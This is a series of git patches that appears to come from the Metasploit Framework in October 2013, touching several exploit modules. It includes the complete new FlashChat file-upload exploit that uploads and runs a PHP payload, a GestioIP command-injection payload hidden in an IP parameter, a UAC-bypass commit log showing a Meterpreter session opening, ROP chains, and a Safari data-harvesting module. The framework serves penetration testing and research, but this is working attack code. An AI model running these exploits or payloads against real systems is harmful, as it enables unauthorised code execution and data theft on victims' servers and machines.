insertions(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/gestioip_exec.rb b/modules/exploits/multi/http/gestioip_exec.rb index ebed263e2a..fb58947a81 100644 --- a/modules/exploits/multi/http/gestioip_exec.rb +++ b/modules/exploits/multi/http/gestioip_exec.rb @@ -28,6 +28,9 @@ class Metasploit4 < Msf::Exploit::Remote ], 'References' => [ + [ 'URL', 'http://sourceforge.net/p/gestioip/gestioip/ci/ac67be9fce5ee4c0438d27dfa5c1dcbca08c457c/' ], # Patch + [ 'URL', 'https://github.com/rapid7/metasploit-framework/pull/2461' ], # First disclosure + [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2013/10/03/gestioip-authenticated-remote-command-execution-module' ] ], 'Payload' => { @@ -39,7 +42,7 @@ class Metasploit4 < Msf::Exploit::Remote 'Arch' => ARCH_CMD, 'Targets' => [[ 'Automatic GestioIP 3.0', { }]], 'Privileged' => false, - 'DisclosureDate' => 'Mar 3 2011', + 'DisclosureDate' => 'Oct 4 2013', 'DefaultTarget' => 0)) register_options( From 8e0a4e08a2264036f5a994f66b32c44756849e62 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 4 Oct 2013 12:25:38 -0500 Subject: [PATCH 31/68] Fix author order --- modules/exploits/unix/webapp/clipbucket_upload_exec.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/unix/webapp/clipbucket_upload_exec.rb b/modules/exploits/unix/webapp/clipbucket_upload_exec.rb index 0ef73509db..ee3aec9ed7 100644 --- a/modules/exploits/unix/webapp/clipbucket_upload_exec.rb +++ b/modules/exploits/unix/webapp/clipbucket_upload_exec.rb @@ -25,8 +25,8 @@ class Metasploit3 < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'Author' => [ - 'xistence ', # Metasploit module - 'Gabby' # Vulnerability Discovery, PoC + 'Gabby', # Vulnerability Discovery, PoC + 'xistence ' # Metasploit module ], 'References' => [ From 113f89e40fcc911d9023f0ca1f9b9708a3c14193 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 4 Oct 2013 13:29:27 -0500 Subject: [PATCH 32/68] First set of fixes for gestioip_exec --- modules/exploits/multi/http/gestioip_exec.rb | 42 ++++++++++++-------- 1 file changed, 26 insertions(+), 16 deletions(-) diff --git a/modules/exploits/multi/http/gestioip_exec.rb b/modules/exploits/multi/http/gestioip_exec.rb index fb58947a81..0dd83227ad 100644 --- a/modules/exploits/multi/http/gestioip_exec.rb +++ b/modules/exploits/multi/http/gestioip_exec.rb @@ -36,9 +36,9 @@ class Metasploit4 < Msf::Exploit::Remote { 'Space' => 475, # not a lot of room 'DisableNops' => true, - 'BadChars' => "#", + 'BadChars' => "", }, - 'Platform' => [ 'unix', 'win', 'linux' ], + 'Platform' => [ 'unix' ], 'Arch' => ARCH_CMD, 'Targets' => [[ 'Automatic GestioIP 3.0', { }]], 'Privileged' => false, @@ -47,16 +47,12 @@ class Metasploit4 < Msf::Exploit::Remote register_options( [ - OptString.new('URI', [true, 'URI', '/gestioip/']), + OptString.new('TARGETURI', [true, 'URI', '/gestioip/']), OptString.new('USERNAME', [false, 'The username to auth as', 'gipadmin']), OptString.new('PASSWORD', [false, 'The password to auth with', nil]) ], self.class) end - def uri - datastore['URI'] - end - def user datastore['USERNAME'] end @@ -70,16 +66,30 @@ class Metasploit4 < Msf::Exploit::Remote end def exploit - headers = {} - if use_auth - headers['Authorization'] = "Basic " + Rex::Text.encode_base64("#{user}:#{pass}") - end pay = Rex::Text.encode_base64(payload.encoded) - file = Rex::Text.rand_text_alpha(8); - send_request_cgi({ - 'uri' => uri+"ip_checkhost.cgi?ip=2607:f0d0:$(echo${IFS}" + pay + "|base64${IFS}--decode|tee${IFS}"+file+"&&sh${IFS}"+file+"):0000:0000:0000:0000:0004&hostname=fsd&client_id=1&ip_version=", - 'headers' => headers - }) + file = Rex::Text.rand_text_alpha(8) + + options = { + 'uri' => normalize_uri(target_uri.path, "ip_checkhost.cgi"), + 'encode_params' => false, + 'vars_get' => { + 'ip' => "2607:f0d0:$(echo${IFS}" + pay + "|base64${IFS}--decode|tee${IFS}"+file+"&&sh${IFS}"+file+"):0000:0000:0000:0000:0004", + 'hostname' => "fds", + 'client_id' => "1", + 'ip_version' => "" + } + } + + if use_auth + options.merge!('authorization' => basic_auth(user,pass)) + end + + res = send_request_cgi(options) + + if res and res.code == 401 + fail_with(Failure::NoAccess, "#{rhost}:#{rport} - Please provide USERNAME and PASSOWRD") + end + end end From 5f4e4de267b37ddb159918212c5169cb034874df Mon Sep 17 00:00:00 2001 From: ZeroChaos Date: Fri, 4 Oct 2013 15:58:47 -0400 Subject: [PATCH 33/68] fix for bug 8456 On systems without bundled johntheripper (either by removing the bundled version or by no compatible version shipped) the system john is used. In this case, all of the checking for compatible bundled jtr makes no sense and as such we can shortcut out of this to not only reduce the size of msf (for embedded) but also to speed execution (saving multiple calls to some random bundled binary cpuinfo*.bin). This patch makes it very easy to simply remove cpuinfo and msf will not try to run it when missing and default to running john from the path. --- lib/msf/core/auxiliary/jtr.rb | 64 ++++++++++++++++++----------------- 1 file changed, 33 insertions(+), 31 deletions(-) diff --git a/lib/msf/core/auxiliary/jtr.rb b/lib/msf/core/auxiliary/jtr.rb index 6b9ddb322b..6a9c598459 100644 --- a/lib/msf/core/auxiliary/jtr.rb +++ b/lib/msf/core/auxiliary/jtr.rb @@ -41,38 +41,40 @@ module Auxiliary::JohnTheRipper cpuinfo_base = ::File.join(Msf::Config.install_root, "data", "cpuinfo") return @run_path if @run_path - case ::RUBY_PLATFORM - when /mingw|cygwin|mswin/ - data = `"#{cpuinfo_base}/cpuinfo.exe"` rescue nil - case data - when /sse2/ - @run_path ||= "run.win32.sse2/john.exe" - when /mmx/ - @run_path ||= "run.win32.mmx/john.exe" - else - @run_path ||= "run.win32.any/john.exe" - end + if File.directory?(cpuinfo_base) + case ::RUBY_PLATFORM + when /mingw|cygwin|mswin/ + data = `"#{cpuinfo_base}/cpuinfo.exe"` rescue nil + case data + when /sse2/ + @run_path ||= "run.win32.sse2/john.exe" + when /mmx/ + @run_path ||= "run.win32.mmx/john.exe" + else + @run_path ||= "run.win32.any/john.exe" + end - when /x86_64-linux/ - ::FileUtils.chmod(0755, "#{cpuinfo_base}/cpuinfo.ia64.bin") rescue nil - data = `#{cpuinfo_base}/cpuinfo.ia64.bin` rescue nil - case data - when /mmx/ - @run_path ||= "run.linux.x64.mmx/john" - else - @run_path ||= "run.linux.x86.any/john" - end - - when /i[\d]86-linux/ - ::FileUtils.chmod(0755, "#{cpuinfo_base}/cpuinfo.ia32.bin") rescue nil - data = `#{cpuinfo_base}/cpuinfo.ia32.bin` rescue nil - case data - when /sse2/ - @run_path ||= "run.linux.x86.sse2/john" - when /mmx/ - @run_path ||= "run.linux.x86.mmx/john" - else - @run_path ||= "run.linux.x86.any/john" + when /x86_64-linux/ + ::FileUtils.chmod(0755, "#{cpuinfo_base}/cpuinfo.ia64.bin") rescue nil + data = `#{cpuinfo_base}/cpuinfo.ia64.bin` rescue nil + case data + when /mmx/ + @run_path ||= "run.linux.x64.mmx/john" + else + @run_path ||= "run.linux.x86.any/john" + end + + when /i[\d]86-linux/ + ::FileUtils.chmod(0755, "#{cpuinfo_base}/cpuinfo.ia32.bin") rescue nil + data = `#{cpuinfo_base}/cpuinfo.ia32.bin` rescue nil + case data + when /sse2/ + @run_path ||= "run.linux.x86.sse2/john" + when /mmx/ + @run_path ||= "run.linux.x86.mmx/john" + else + @run_path ||= "run.linux.x86.any/john" + end end end @run_path From 77cbb7cd1905ad3a3d1b189d0dfdbf44487d46bf Mon Sep 17 00:00:00 2001 From: sinn3r Date: Fri, 4 Oct 2013 15:18:27 -0500 Subject: [PATCH 34/68] Update function documentation --- lib/rex/exploitation/ropdb.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/rex/exploitation/ropdb.rb b/lib/rex/exploitation/ropdb.rb index 182d6df910..c97091f88c 100644 --- a/lib/rex/exploitation/ropdb.rb +++ b/lib/rex/exploitation/ropdb.rb @@ -29,7 +29,7 @@ class RopDb # # Returns an array of ROP gadgets. Each gadget can either be an offset, or a value (symbol or # some integer). When the value is a symbol, it can be one of these: :nop, :junk, :size, - # and :size_negate. + # :unsafe_negate_size, and :safe_negate_size # Note if no RoP is found, it returns an empry array. # Arguments: # rop_name - name of the ROP chain. From 813013fef525e774180bfbf329734c5ae28264f5 Mon Sep 17 00:00:00 2001 From: James Lee Date: Fri, 4 Oct 2013 15:53:16 -0500 Subject: [PATCH 35/68] Make defaults sane for the lockoutable smb_login See #2376 --- modules/auxiliary/scanner/smb/smb_login.rb | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/smb/smb_login.rb b/modules/auxiliary/scanner/smb/smb_login.rb index b987c49eea..f7c49afa3c 100644 --- a/modules/auxiliary/scanner/smb/smb_login.rb +++ b/modules/auxiliary/scanner/smb/smb_login.rb @@ -39,9 +39,14 @@ class Metasploit3 < Msf::Auxiliary 'References' => [ [ 'CVE', '1999-0506'], # Weak password - ], - 'License' => MSF_LICENSE + 'License' => MSF_LICENSE, + 'DefaultOptions' => + { + 'DB_ALL_CREDS' => false, + 'BLANK_PASSWORDS' => false, + 'USER_AS_PASS' => false + } ) deregister_options('RHOST','USERNAME','PASSWORD') From 836ff249981303207c84d19e021f142228453930 Mon Sep 17 00:00:00 2001 From: Markus Wulftange Date: Sat, 5 Oct 2013 10:39:55 +0200 Subject: [PATCH 36/68] Clean and fix CmdStagerPrintf Clean up of the CmdStagerPrintf as discussed in mwulftange#1 --- lib/msf/core/exploit/cmdstager_printf.rb | 4 +++- lib/rex/exploitation/cmdstager/printf.rb | 21 ++++++++++++++------- 2 files changed, 17 insertions(+), 8 deletions(-) diff --git a/lib/msf/core/exploit/cmdstager_printf.rb b/lib/msf/core/exploit/cmdstager_printf.rb index d3749d3f42..faad1f9d2a 100755 --- a/lib/msf/core/exploit/cmdstager_printf.rb +++ b/lib/msf/core/exploit/cmdstager_printf.rb @@ -1,3 +1,5 @@ +# -*- coding: binary -*- + require 'msf/core/exploit/cmdstager' module Msf @@ -22,4 +24,4 @@ module Exploit::CmdStagerPrintf end end -end \ No newline at end of file +end diff --git a/lib/rex/exploitation/cmdstager/printf.rb b/lib/rex/exploitation/cmdstager/printf.rb index 9ff26e23b6..0a61ed0117 100755 --- a/lib/rex/exploitation/cmdstager/printf.rb +++ b/lib/rex/exploitation/cmdstager/printf.rb @@ -35,6 +35,11 @@ class CmdStagerPrintf < CmdStagerBase @cmd_end = "'>>#{@tempdir}#{@var_elf}" xtra_len = @cmd_start.length + @cmd_end.length + 1 opts.merge!({ :extra => xtra_len }) + + if opts[:extra]+4 > opts[:linemax] + raise RuntimeError, "Not enough space for command - #{opts[:extra]+4} byte required, #{opts[:linemax]} byte available" + end + super end @@ -49,20 +54,22 @@ class CmdStagerPrintf < CmdStagerBase # Override it to ensure that the octal representation of a byte isn't cut # def slice_up_payload(encoded, opts) - tmp = encoded.dup + encoded_dup = encoded.dup parts = [] xtra_len = opts[:extra] xtra_len ||= 0 - while (tmp.length > 0) - part = tmp.slice(0, (opts[:linemax] - xtra_len)) + while (encoded_dup.length > 0) + temp = encoded_dup.slice(0, (opts[:linemax] - xtra_len)) # remove the last octal escape if it may be imcomplete - pos = part[-4, 4].index('\\') - part.slice!(0, part.length - 4 + pos) if pos > 0 + pos = temp.rindex('\\') + if encoded_dup.length > temp.length and pos > temp.length-4 + temp.slice!(pos..temp.length-1) + end - parts << part - tmp.slice!(0, part.length) + parts << temp + encoded_dup.slice!(0, temp.length) end parts From 08243b277afd5452ad90e90d8641a95180258bb3 Mon Sep 17 00:00:00 2001 From: bcoles Date: Sat, 5 Oct 2013 22:30:38 +0930 Subject: [PATCH 37/68] Add FlashChat Arbitrary File Upload exploit module --- .../unix/webapp/flashchat_upload_exec.rb | 142 ++++++++++++++++++ 1 file changed, 142 insertions(+) create mode 100644 modules/exploits/unix/webapp/flashchat_upload_exec.rb diff --git a/modules/exploits/unix/webapp/flashchat_upload_exec.rb b/modules/exploits/unix/webapp/flashchat_upload_exec.rb new file mode 100644 index 0000000000..86fc173942 --- /dev/null +++ b/modules/exploits/unix/webapp/flashchat_upload_exec.rb @@ -0,0 +1,142 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info={}) + super(update_info(info, + 'Name' => "FlashChat Arbitrary File Upload", + 'Description' => %q{ + This module exploits a file upload vulnerability found in FlashChat + versions 6.0.2 and 6.0.4 to 6.0.8. Attackers can abuse the upload + feature in order to upload malicious PHP files without authentication + which results in arbitrary remote code execution as the web server user. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'x-hayben21', # Discovery and PoC + 'Brendan Coles ' # Metasploit + ], + 'References' => + [ + ['EDB', '28709'] + ], + 'Payload' => + { + 'BadChars' => "\x00" + }, + 'Arch' => ARCH_PHP, + 'Platform' => 'php', + 'Targets' => + [ + # Tested on FlashChat version 6.0.8 + [ 'Generic (PHP Payload)', {} ] + ], + 'Privileged' => false, + 'DisclosureDate' => "Oct 04 2013", + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The base path to FlashChat', '/chat/']) + ], self.class) + end + + # + # Checks if target is running FlashChat versions 6.0.2, 6.0.4 to 6.0.8 + # + def check + uri = normalize_uri(target_uri.path, '') + res = send_request_raw({'uri' => uri}) + + if not res + print_error("#{peer} - Connection timed out") + return Exploit::CheckCode::Unknown + end + + version = res.body.scan(/FlashChat v([\d\.]+)/).flatten[0] || '' + + if not version.empty? + print_status("#{peer} - Version found: #{version}") + if version =~ /6\.0\.(2|4|5|6|7|8)/ + return Exploit::CheckCode::Vulnerable + else + return Exploit::CheckCode::Detected + end + end + + Exploit::CheckCode::Unknown + end + + + # + # Uploads our malicious file + # Stolen from havalite_upload_exec.rb + # + def upload(base) + fname = "#{rand_text_alphanumeric(rand(10)+6)}.php" + php = %Q|<?php #{payload.encoded} ?>| + data = Rex::MIME::Message.new + data.add_part(php, "application/octet-stream", nil, "form-data; name=\"file\"; filename=\"#{fname}\"") + post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_') + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(base, 'upload.php'), + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'data' => post_data + }) + + if not res + fail_with(Failure::Unknown, "#{peer} - Request timed out while uploading") + elsif res.code.to_i == 404 + fail_with(Failure::NotFound, "#{peer} - No upload.php found") + elsif res.code.to_i == 500 + fail_with(Failure::Unknown, "#{peer} - Unable to write #{fname}") + end + + return fname + end + + + # + # Executes our uploaded malicious file + # Stolen from havalite_upload_exec.rb + # + def exec(base, payload_fname) + res = send_request_raw({ + 'uri' => normalize_uri(base, 'temp', payload_fname) + }) + + if res and res.code == 404 + fail_with(Failure::NotFound, "#{peer} - Not found: #{payload_fname}") + end + end + + def exploit + base = target_uri.path + + # upload + print_status("#{peer} - Uploading malicious file...") + fname = upload(base) + + # exec + print_status("#{peer} - Executing #{fname}...") + exec(base, fname) + + # clean + register_files_for_cleanup(fname) + end +end From 24efb55ba955daa27059cd74bfc83761b8eb0255 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan.vazquez@metasploit.com> Date: Sat, 5 Oct 2013 14:50:51 -0500 Subject: [PATCH 38/68] Clean flashchat_upload_exec --- .../unix/webapp/flashchat_upload_exec.rb | 30 +++++++++++-------- 1 file changed, 17 insertions(+), 13 deletions(-) diff --git a/modules/exploits/unix/webapp/flashchat_upload_exec.rb b/modules/exploits/unix/webapp/flashchat_upload_exec.rb index 86fc173942..333cd7fa08 100644 --- a/modules/exploits/unix/webapp/flashchat_upload_exec.rb +++ b/modules/exploits/unix/webapp/flashchat_upload_exec.rb @@ -68,16 +68,20 @@ class Metasploit3 < Msf::Exploit::Remote version = res.body.scan(/<title>FlashChat v([\d\.]+)/).flatten[0] || '' - if not version.empty? - print_status("#{peer} - Version found: #{version}") - if version =~ /6\.0\.(2|4|5|6|7|8)/ - return Exploit::CheckCode::Vulnerable - else - return Exploit::CheckCode::Detected - end + if version.empty? + return Exploit::CheckCode::Unknown + end + + print_status("#{peer} - Version found: #{version}") + + if version =~ /6\.0\.(2|4|5|6|7|8)/ + return Exploit::CheckCode::Vulnerable + elsif version <= "6.0.8" + return Exploit::CheckCode::Detected + else + return Exploit::CheckCode::Safe end - Exploit::CheckCode::Unknown end @@ -87,10 +91,10 @@ class Metasploit3 < Msf::Exploit::Remote # def upload(base) fname = "#{rand_text_alphanumeric(rand(10)+6)}.php" - php = %Q|<?php #{payload.encoded} ?>| + php = "<?php #{payload.encoded} ?>" data = Rex::MIME::Message.new data.add_part(php, "application/octet-stream", nil, "form-data; name=\"file\"; filename=\"#{fname}\"") - post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_') + post_data = data.to_s.gsub(/^\r\n--_Part_/, '--_Part_') res = send_request_cgi({ 'method' => 'POST', @@ -132,11 +136,11 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Uploading malicious file...") fname = upload(base) + # register the file to clean + register_files_for_cleanup(fname) + # exec print_status("#{peer} - Executing #{fname}...") exec(base, fname) - - # clean - register_files_for_cleanup(fname) end end From 0799766faae8e9ea31619cc552fe1939013723d8 Mon Sep 17 00:00:00 2001 From: trustedsec <davek@trustedsec.com> Date: Sat, 5 Oct 2013 15:56:55 -0400 Subject: [PATCH 39/68] Fix UAC is not enabled, no reason to run module when UAC is enabled and vulnerable The new changes when calling uac_level = open_key.query_value('ConsentPromptBehaviorAdmin') breaks UAC on Windows 7 and Windows 8 and shows that UAC is not enabled when it is: Here is prior to the change on a fully patched Windows 8 machine: msf exploit(bypassuac) > exploit [*] Started reverse handler on 172.16.21.156:4444 [*] UAC is Enabled, checking level... [-] UAC is not enabled, no reason to run module [-] Run exploit/windows/local/ask to elevate msf exploit(bypassuac) > Here's the module when running with the most recent changes that are being proposed: [*] Started reverse handler on 172.16.21.156:4444 [*] UAC is Enabled, checking level... [!] Could not determine UAC level - attempting anyways... [*] Checking admin status... [+] Part of Administrators group! Continuing... [*] Uploading the bypass UAC executable to the filesystem... [*] Meterpreter stager executable 73802 bytes long being uploaded.. [*] Uploaded the agent to the filesystem.... [*] Sending stage (770048 bytes) to 172.16.21.128 [*] Meterpreter session 6 opened (172.16.21.156:4444 -> 172.16.21.128:49394) at 2013-10-05 15:49:23 -0400 meterpreter > With the new changes and not having a return on when 0 (will not always return 0 - just in certain cases where you cannot query) - it works. --- modules/exploits/windows/local/bypassuac.rb | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/modules/exploits/windows/local/bypassuac.rb b/modules/exploits/windows/local/bypassuac.rb index 93b5676aa1..d72685fafc 100644 --- a/modules/exploits/windows/local/bypassuac.rb +++ b/modules/exploits/windows/local/bypassuac.rb @@ -81,9 +81,7 @@ class Metasploit3 < Msf::Exploit::Local print_good "UAC is set to Default" print_good "BypassUAC can bypass this setting, continuing..." when 0 - print_error "UAC is not enabled, no reason to run module" - print_error "Run exploit/windows/local/ask to elevate" - return + print_warning "Could not determine UAC level - attempting anyways..." end # Check if you are an admin From c2a81907ba3d75414fd59834a0697d802b39b9eb Mon Sep 17 00:00:00 2001 From: joev <joev@metasploit.com> Date: Sun, 6 Oct 2013 19:28:16 -0500 Subject: [PATCH 40/68] Clean up the way Apple Safari UXSS aux module does data collection. [FIXRM #7918] --- .../gather/apple_safari_webarchive_uxss.rb | 43 +++++++++++++++---- 1 file changed, 34 insertions(+), 9 deletions(-) diff --git a/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb b/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb index 2764218f80..0f4e2e6398 100644 --- a/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb +++ b/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb @@ -12,6 +12,7 @@ class Metasploit3 < Msf::Auxiliary include Msf::Exploit::FILEFORMAT include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Auxiliary::Report # [Array<Array<Hash>>] list of poisonable scripts per user-specified URLS attr_accessor :scripts_to_poison @@ -177,17 +178,39 @@ class Metasploit3 < Msf::Auxiliary def on_request_uri(cli, request) begin - data = if request.body.size > 0 + data_str = if request.body.size > 0 request.body else request.qstring['data'] end - data = JSON::parse(data || '') - print_status "Received data: #{data}" - rescue # json error, dismiss request & keep crit. server up + data = JSON::parse(data_str || '') + file = record_data(data, cli) + send_response_html(cli, '') + print_good "#{data_str.length} chars received and stored to #{file}" + rescue JSON::ParserError => e # json error, dismiss request & keep crit. server up + print_error "Invalid JSON received: #{data_str}" + send_not_found(cli) end end + # @param [Hash] data the data to store in the log + # @return [String] filename where we are storing the data + def record_data(data, cli) + @client_cache ||= Hash.new({}) + @client_cache[cli.peerhost]['file'] ||= store_loot( + "safari.client", "text/plain", cli.peerhost, '', "safari_webarchive", "Webarchive Collected Data" + ) + file = @client_cache[cli.peerhost]['file'] + + @client_cache[cli.peerhost]['data'] ||= [] + @client_cache[cli.peerhost]['data'].push(data) + data_str = JSON.generate(@client_cache[cli.peerhost]['data']) + + File.write(file, data_str) + + file + end + ### ASSEMBLE THE WEBARCHIVE XML ### # @return [String] contents of webarchive as an XML document @@ -531,9 +554,12 @@ class Metasploit3 < Msf::Auxiliary var sent = false; req.open('GET', '#{url}', true); req.onreadystatechange = function() { - if (!sent) { - sendData('response_headers', req.getAllResponseHeaders()); - sendData('response_body', req.responseText); + if (req.readyState==4 && !sent) { + debugger; + sendData('#{url}', { + response_headers: req.getAllResponseHeaders(), + response_body: req.responseText + }); sent = true; } }; @@ -647,8 +673,7 @@ class Metasploit3 < Msf::Auxiliary %Q| window.sendData = function(key, val) { var data = {}; - if (key && val) data[key] = val; - if (!val) data = key; + data[key] = val; window.top.postMessage(JSON.stringify(data), "*") }; | From 47e7a2de83191248cba4e66ef7e5fef9d4bce5b6 Mon Sep 17 00:00:00 2001 From: joev <joev@metasploit.com> Date: Sun, 6 Oct 2013 19:32:22 -0500 Subject: [PATCH 41/68] Kill stray debugger statement. --- modules/auxiliary/gather/apple_safari_webarchive_uxss.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb b/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb index 0f4e2e6398..9d8035dc8c 100644 --- a/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb +++ b/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb @@ -555,7 +555,6 @@ class Metasploit3 < Msf::Auxiliary req.open('GET', '#{url}', true); req.onreadystatechange = function() { if (req.readyState==4 && !sent) { - debugger; sendData('#{url}', { response_headers: req.getAllResponseHeaders(), response_body: req.responseText From 293927aff010aeacfe123671db83e4b452042437 Mon Sep 17 00:00:00 2001 From: Tod Beardsley <tod_beardsley@rapid7.com> Date: Mon, 7 Oct 2013 12:22:48 -0500 Subject: [PATCH 42/68] msftidy fix for coldfusion exploit --- modules/auxiliary/gather/coldfusion_pwd_props.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/gather/coldfusion_pwd_props.rb b/modules/auxiliary/gather/coldfusion_pwd_props.rb index 759339d7be..e31d787972 100644 --- a/modules/auxiliary/gather/coldfusion_pwd_props.rb +++ b/modules/auxiliary/gather/coldfusion_pwd_props.rb @@ -168,7 +168,7 @@ class Metasploit3 < Msf::Auxiliary out, filename = fingerprint(res) print_status("#{peer} #{out}") if out - if(out =~ /Not Vulnerable/) + if(out =~ /Not Vulnerable/) print_status("#{peer} isn't vulnerable to this attack") return end From e016c9a62fa49df360cfadd51d3437e0436a9a7e Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Mon, 7 Oct 2013 12:27:43 -0500 Subject: [PATCH 43/68] Use RopDb msvcrt ROP chain. Tested all targets. --- .../windows/browser/apple_quicktime_rdrf.rb | 37 ++----------------- 1 file changed, 4 insertions(+), 33 deletions(-) diff --git a/modules/exploits/windows/browser/apple_quicktime_rdrf.rb b/modules/exploits/windows/browser/apple_quicktime_rdrf.rb index 970350f1c8..f726d4d222 100644 --- a/modules/exploits/windows/browser/apple_quicktime_rdrf.rb +++ b/modules/exploits/windows/browser/apple_quicktime_rdrf.rb @@ -11,6 +11,7 @@ class Metasploit4 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::RopDb def initialize(info={}) super(update_info(info, @@ -62,39 +63,9 @@ class Metasploit4 < Msf::Exploit::Remote end def get_payload(t) - p = '' - - rop = - [ - 0x77c1e844, # POP EBP # RETN [msvcrt.dll] - 0x77c1e844, # skip 4 bytes [msvcrt.dll] - 0x77c4fa1c, # POP EBX # RETN [msvcrt.dll] - 0xffffffff, - 0x77c127e5, # INC EBX # RETN [msvcrt.dll] - 0x77c127e5, # INC EBX # RETN [msvcrt.dll] - 0x77c4e0da, # POP EAX # RETN [msvcrt.dll] - 0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx) - 0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll] - 0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll] - 0x77c34fcd, # POP EAX # RETN [msvcrt.dll] - 0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx) - 0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll] - 0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll] - 0x77c3048a, # POP EDI # RETN [msvcrt.dll] - 0x77c47a42, # RETN (ROP NOP) [msvcrt.dll] - 0x77c46efb, # POP ESI # RETN [msvcrt.dll] - 0x77c2aacc, # JMP [EAX] [msvcrt.dll] - 0x77c3b860, # POP EAX # RETN [msvcrt.dll] - 0x77c1110c, # ptr to &VirtualAlloc() [IAT msvcrt.dll] - 0x77c12df9, # PUSHAD # RETN [msvcrt.dll] - 0x77c35459 # ptr to 'push esp # ret ' [msvcrt.dll] - ].pack("V*") - - p << rop - p << "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 - p << payload.encoded - - p + alignment = "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 + p = generate_rop_payload('msvcrt', alignment + payload.encoded, {'target'=>'xp'}) + return p end From ff6dec5eeee72acb7d9c3c606b563ed90306b801 Mon Sep 17 00:00:00 2001 From: Tod Beardsley <tod_beardsley@rapid7.com> Date: Mon, 7 Oct 2013 12:40:43 -0500 Subject: [PATCH 44/68] Promote joev to a first class citizen [See #2476] --- lib/msf/core/module/author.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/module/author.rb b/lib/msf/core/module/author.rb index f8ed76f6a8..25a90f8e52 100644 --- a/lib/msf/core/module/author.rb +++ b/lib/msf/core/module/author.rb @@ -44,7 +44,8 @@ class Msf::Module::Author 'Carlos Perez' => 'carlos_perez' + 0x40.chr + 'darkoperator.com', 'juan vazquez' => 'juan.vazquez' + 0x40.chr + 'metasploit.com', 'theLightCosine' => 'theLightCosine' + 0x40.chr + 'metasploit.com', - 'mubix' => 'mubix' + 0x40.chr + 'hak5.org' + 'mubix' => 'mubix' + 0x40.chr + 'hak5.org', + 'joev' => 'joev' + 0x40.chr + 'metasploit.com' } # From 4266b88a209c548138e4cbef5d587171292ff9b0 Mon Sep 17 00:00:00 2001 From: Tod Beardsley <tod_beardsley@rapid7.com> Date: Mon, 7 Oct 2013 12:49:20 -0500 Subject: [PATCH 45/68] Move author name to just 'joev' [See #2476] --- .../exploits/multi/fileformat/nodejs_js_yaml_load_code_exec.rb | 2 +- modules/exploits/multi/http/linksys_wrt110_cmd_exec_stager.rb | 2 +- modules/exploits/osx/local/sudo_password_bypass.rb | 2 +- modules/payloads/singles/osx/x64/exec.rb | 2 +- modules/payloads/singles/osx/x86/exec.rb | 2 +- modules/post/multi/escalate/cups_root_file_read.rb | 2 +- modules/post/osx/capture/keylog_recorder.rb | 2 +- modules/post/osx/gather/password_prompt_spoof.rb | 2 +- modules/post/osx/manage/record_mic.rb | 2 +- modules/post/osx/manage/webcam.rb | 2 +- 10 files changed, 10 insertions(+), 10 deletions(-) diff --git a/modules/exploits/multi/fileformat/nodejs_js_yaml_load_code_exec.rb b/modules/exploits/multi/fileformat/nodejs_js_yaml_load_code_exec.rb index 70aa63bc8b..e15c3217b9 100644 --- a/modules/exploits/multi/fileformat/nodejs_js_yaml_load_code_exec.rb +++ b/modules/exploits/multi/fileformat/nodejs_js_yaml_load_code_exec.rb @@ -24,7 +24,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Author' => [ 'Neal Poole', # Vulnerability discovery - 'joev <jvennix[at]rapid7.com>' # Metasploit module + 'joev' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => diff --git a/modules/exploits/multi/http/linksys_wrt110_cmd_exec_stager.rb b/modules/exploits/multi/http/linksys_wrt110_cmd_exec_stager.rb index 91270597fc..b220e133a6 100644 --- a/modules/exploits/multi/http/linksys_wrt110_cmd_exec_stager.rb +++ b/modules/exploits/multi/http/linksys_wrt110_cmd_exec_stager.rb @@ -23,7 +23,7 @@ class Metasploit3 < 